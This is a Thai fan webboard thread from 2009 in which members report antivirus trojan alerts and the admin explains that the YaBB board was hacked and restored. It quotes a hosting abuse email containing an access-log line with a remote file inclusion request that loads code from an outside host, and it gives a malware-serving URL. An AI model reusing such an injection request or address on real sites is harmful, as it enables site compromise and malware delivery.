THAI-TOKU WEBBOARD
http://www.thai-toku.com/cgi-bin/board/YaBB.pl
THAI-TOKU SECTION >> THAI-TOKU COMMUNITY >> เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
http://www.thai-toku.com/cgi-bin/board/YaBB.pl?num=1233319762

Message started by Loucipher on 30.01.09 at 19:49:22

Title: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by Loucipher on 30.01.09 at 19:49:22

engine board over load เลยเดี้ยงตั้งแต่ 5ทุ่มแต่SERVER ปกติ  โทรเรียก technical support กว่าจะแก้เสร็จก็ 9โมงเช้า ขออภัยในความไม่สะดวก

น้อง Zim บอกว่าเหมือนมี trojan ใครเป็นบ้างลงชื่อไว้หน่อยครับ เครื่องผมกับที่ทำงานยังปกติ  ขออภัยในความไม่สะดวกครับ  ไม่ได้ล่มนานแล้วแฮะ

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by 847 on 30.01.09 at 20:05:06

ผมเป็นเหมือนกันครับผม ตอนแรกงงมากๆ[smiley=zasurab.gif][smiley=zasurab.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Urara on 30.01.09 at 20:33:20

เป็นครับผม [smiley=zkavin.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by boxes on 30.01.09 at 20:36:12

มารายงานครับ
ไม่เป็นนะครับ ผมใช้ไฟร์ฟอกซ์ แอนตี้ของMcafee

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by tom241 on 30.01.09 at 20:36:27

ของผมเป็นที่ทำงานครับ เข้าไม่ได้ทั้งวันเลย ขึ้นว่ามีไวรัสโทจันโทแจ้นอะไรเนี่ยล่ะครับ แล้วก็ไม่ยอมเข้าเว็ปให้เลย (ใช้เน็ทได้ปกติ) ตอนแรกนึกว่าโดนที่บริษัทบล็อกแล้วซะอีกครับ แหะๆ:D

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Diego on 30.01.09 at 20:41:10

ผมก็เ)็นครับ

เด้งขึ้นมาชื่อ crypted.gen เป็น HTML สคริปไวรัสครับ

คาดว่าน่าจะเป็นโทรจันจริงๆ แทรกอยู่ในตัวเว็บครับ

ท่าจะแก้ยากนอกจากรีเว็บ เหอๆ - -*[smiley=zkavin.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Loucipher on 30.01.09 at 21:39:13


wrote on 30.01.09 at 20:41:10:
ผมก็เ)็นครับ

เด้งขึ้นมาชื่อ crypted.gen เป็น HTML สคริปไวรัสครับ

คาดว่าน่าจะเป็นโทรจันจริงๆ แทรกอยู่ในตัวเว็บครับ

ท่าจะแก้ยากนอกจากรีเว็บ เหอๆ - -*[smiley=zkavin.gif]



ไม่ถึงขั้น re web ครับ ต้องแก้ที่ board เดี๋ยวจะโทรไปบอก technical support

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Maisinders on 30.01.09 at 22:06:19


paxboy wrote on 30.01.09 at 20:36:12:
มารายงานครับ
ไม่เป็นนะครับ ผมใช้ไฟร์ฟอกซ์ แอนตี้ของMcafee


ไม่เป็นเช่นกัน ผมใช้ไฟร์ฟ๊อก แอนตี้ของน๊อด32

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Henshiner on 30.01.09 at 22:56:52

ของผมแค่ 500 Internal Server อะไรนี่แหละครับ (ราวๆ เที่ยงคืน)

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Mozart on 31.01.09 at 00:10:05

ไม่เป็นครับ ใช้จิ้งจอกโลกันต์ [smiley=sm12.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by barthezjame on 31.01.09 at 01:11:30

บอร์ดล่มใจหาย
ดีใจยังกู้ได้

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Red on 31.01.09 at 03:48:33

P'Lu your web have 2 trojan. My avast tell me when I get in to your bord ja

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Loucipher on 31.01.09 at 03:53:27


Red wrote on 31.01.09 at 03:48:33:
P'Lu your web have 2 trojan. My avast tell me when I get in to your bord ja



How about getting to first page http://thai-toku.com  ? did you get anything? I already contact support service, they're working on it.

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Red on 31.01.09 at 03:57:22

This is the name of it  P'lu JS:Packed-D [Trj]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Red on 31.01.09 at 03:59:45

First page it is ok, bord nop

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Red on 31.01.09 at 04:10:01

This is it info na P'Lu

File name : http://91.211.64.180/cgi-bin/index.cgi?tf17
Malware name : JS : Packed-D [Trj]
Malware Type : Trojan Horse
VPS version : 090130-0, 01/30/2009

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Loucipher on 31.01.09 at 04:23:01

??????

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Zim on 31.01.09 at 09:01:21

ยังเปนอยู่เลยจ้า แก้ไขด่วนนะก้าบบบ ;););)

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Mr_Y on 31.01.09 at 09:19:45

เป็นครับท่าน ผมใช้เครื่องออฟฟิตครับ มีไฟร์วอร์ แต่ไม่รู้จะช่วยได้ไหมนะ

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by seng3d on 31.01.09 at 11:22:00

ผมก็เป็นครับพี่ลู

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Keenno on 31.01.09 at 12:39:49

เป็นจ้า .....แต่จะเข้าอ่ะ รักนะ ไม่กลัวอ่ะ โทจัน อิอิ..เต็มที่ก็Format ;D;D;D;D

หน้าแรกบอร์ดจะเข้าได้ปกติ...แต่พอกดคลิกเข้ากระทู้จะขึ้นพ้องมาครับตามรูปครับผม


Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Keenno on 31.01.09 at 12:42:34

นี่อีกอันในหน้ากระทู้ที่ไม่ขึ้นเลย

อันบนแจ้งน้องเจมส์แล้วครับในช่วงแรก..แก้ไขเรียบร้อยครับ


Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Zim on 31.01.09 at 14:57:06

ตามนี้เลยจ้า  แก้ไข เร็วๆๆๆ น้า ๆๆๆๆๆ

เข้าหลายรอบ เจอทุกรอบ กลัวจะน็อคซักรอบ แล้วต้อง......เกลี้ยงเลย :'(:'(:'(

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Keenno on 31.01.09 at 16:44:08

หลังจากที่บอร์ดน็อก พบปัญหาเพิ่มเติ่มครับ
ไม่สามารถเข้าโหมด โมดิฟลาย ได้ครับ หน้าจอแสดงตามรูปครับผม


Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by UNKNOWN on 31.01.09 at 16:53:44

ผมก็เพิ่งเป้นเหมือน  เมื่อตะกี้นี้เอง

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by UNKNOWN on 31.01.09 at 16:54:10

ผมก็เพิ่งเป้นเหมือน  เมื่อตะกี้นี้เอง

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by EvolutioN_Ryo on 31.01.09 at 16:54:28

เป็นเหมือนกันครับ

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by ShounenRider on 31.01.09 at 19:27:00

ของผมยังโดนอยู่อ่ะครับ...

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by tom241 on 31.01.09 at 20:25:05

เอามาโชว์ด้วยคนครับ อันนี้จากที่ออฟฟิศนะครับ:o

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Loucipher on 31.01.09 at 21:02:37

สรุปว่า board เราโดน hack ครับ พี่น้อง  ผมเองเข้า board จาก firefox ไม่ได้แล้ว ตอนนี้เข้าทาง I.E แทน ทางทีมงานจะเอา BACK UP ก่อนวันพฤหัสลงให้ แต่ใช้เวลามากกว่า 1 วันเพราะเค้าเอาทั้ง SITE ลง ส่วนทางเราน้อง JAMES จะลง PHP BOARD VERSION ใหม่+ SECURITY PACK ครับ  SERVER เราป็น LINUX ยังโดนเลย

อดทนครับ จนกว่าทุกอย่างจะแก้ไขได้


Quote:
From: abuse-team@1and1.com
> To: jenugson@hotmail.com
> Subject: C121121932 - 1&1 Internet Compliance
> Date: Fri, 30 Jan 2009 17:28:26 -0500
>
> Dear Supawat Jenugson, (Customer ID: 11331242)
>
> It has come to our attention that your web space has been hacked:
>
>
> 193.138.29.60 - - [13/Jan/2009:05:19:01 -0500] "GET
> /cgi-bin/board/YaBB.pl?num=1208502246//templates/tmpl_dfl/scripts/index.
> php?dir[inc]=http://
> www.dito.nl/php_content/shop/customer/readme.txt???? HTTP/1.1" 200
> 110728 www.thai-toku.com "-" "libwww-perl/5.805" "-"
>
>
> --
>
> The above was taken from your access logs. It shows that GET
> /cgi-bin/board/YaBB.pl was used to perpetrate the hack.
>
> Please contact the developers for this script/application. You will
> likely need to install a version update and/or security patch to prevent
> further abuse.
>



ท่านที่โพสกระทู้หลังวันพฤหัสไม่ต้องกใจนะครับ เราจะเอาแค่ control file ลงกระทู้จะไม่หายครับ

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by Loucipher on 31.01.09 at 21:12:36


Keenno wrote on 31.01.09 at 16:44:08:
หลังจากที่บอร์ดน็อก พบปัญหาเพิ่มเติ่มครับ
ไม่สามารถเข้าโหมด โมดิฟลาย ได้ครับ หน้าจอแสดงตามรูปครับผม


ผมก็ใช้ modify ไม่ได้ครับ เซ็งเป็ด


Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า
Post by tom241 on 31.01.09 at 21:27:21

เป็นฝีมือเจ้านี่ แน่นอน คู่ปรับคู่แค้นของผมเอง....[smiley=sm01.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by barthezjame on 31.01.09 at 22:48:24

แก้ไขแล้ว ตามนี้ครับ http://www.thai-toku.com/cgi-bin/board/YaBB.pl?num=1233416718

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by Keenno on 31.01.09 at 23:13:35

ขอบคุณน้องเจมส์แะทีมงานทุกท่านครับ...?????????[smiley=sm21.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by HATA on 01.02.09 at 07:37:30



ขอบคุณคุณลู น้องเจมส์ และทีมงานทุกคนครับ

ตอนนี้เข้าทางอินเทอเน็ทเอ๊กเพอเร่อร์ เพราะเข้าทาง

ไฟร์ฟ็อกส์ จะขึ้นแบบนี้มาทุกหน้าเลย เซ็งเป็ด

ได้ข่าวว่า คนแฮ็ก ๆเสร็จก็แจ้ง กูเกิ้ล ให้ด้วย สุดยอดดด

รู้งานจริงๆเลย

น่าเอาซุปเปอร์ตันไปโดดทับจริงๆเล้ยยย

(คำหลังโปรดทำเสียงแบบอาฉีเสียงหล่อ 55+)
[smiley=znaka.gif][smiley=znaka.gif][smiley=znaka.gif]


เอ้า ซุปเปอร์ตัน สะแตนบาย เด้อ  [smiley=zasuraw.gif]


แสดงว่าเว็บเราดังแล้วแฮะ  [smiley=zsiamknight.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by Mask Rider Dip on 01.02.09 at 21:28:19

ยินดีด้วยนะที่แก้ไขได้ เว็บมาสเตอร์เรานี่เทพกันเจงๆ ออิอิ [smiley=znaka.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by HATA on 02.02.09 at 06:55:52

ตอนนี้ เข้าเว็บผ่านทางไฟร์ฟ็อกส์ได้ตามปกติแล้วครับ [smiley=zsiamknight.gif]


ไม่มีคำเตือนจาก กูเกิ้ล แล้ว  [smiley=znaka.gif]

เจ๋งมากเลย คุณลูและน้องเจมส์


และทราบมาว่า พอจะรู้ตัว HACKER แล้วนะครับ

เตรียมหนาวได้  [smiley=zasuraw.gif]


Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by Maisinders on 02.02.09 at 08:04:47

เข้าได้แล้วปกติ เย้ๆๆๆๆๆๆ ดีจังครับ[smiley=zsiamknight.gif]

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by 원 [ w o n ] on 02.02.09 at 08:23:20


HATA wrote on 02.02.09 at 06:55:52:
ทราบมาว่า พอจะรู้ตัว HACKER แล้วนะครับ

เตรียมหนาวได้  [smiley=zasuraw.gif]

หนาว? ::);D


Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by Maisinders on 02.02.09 at 08:32:40


원 [ w o n ] wrote on 02.02.09 at 08:23:20:

HATA wrote on 02.02.09 at 06:55:52:
ทราบมาว่า พอจะรู้ตัว HACKER แล้วนะครับ

เตรียมหนาวได้  [smiley=zasuraw.gif]

หนาว? ::);D


..55  คุณวอน ไอเดีย สุดยอด ;D;D

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by Mr.T2526 on 02.02.09 at 08:39:13

ของผมไม่ได้เข้าตั้งกะวันพฤหัสหรือศุกร์ครับเพราะเข้าแค่หน้าเว็บ Anti vir ก็เด้งมาแล้วเลยไม่อยากเข้าไปไกลกว่านั้นอ่ะครับ

Title: Re: เมื่อวาน BOARD ล่มตอน5 ทุ่มยาวถึง 9โมงเช้า webเราโดน HACK ครับ
Post by Rider__K on 02.02.09 at 08:48:24

หนาวววว จริงๆ   แต่ใครหนอช่างกล้า Hack  ไม่กลัวกฏหมาย
รึไงนะ   สงสัยไม่ได้อ่าน พระราชบัญญัติ
ว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์
พ.ศ. ๒๕๕๐

มาตรา ๑๐ ผู้ใดกระทำด้วยประการใดโดยมิชอบ เพื่อให้การทำงานของระบบคอมพิวเตอร์
ของผู้อื่นถูกระงับ ชะลอ ขัดขวาง หรือรบกวนจนไม่สามารถทำงานตามปกติได้ต้องระวางโทษจำคุก
ไม่เกินห้าปี หรือปรับไม่เกินหนึ่งแสนบาท หรือทั้งจำทั้งปรับ


THAI-TOKU WEBBOARD » Powered by YaBB 2.2.2!
YaBB © 2000-2009. All Rights Reserved.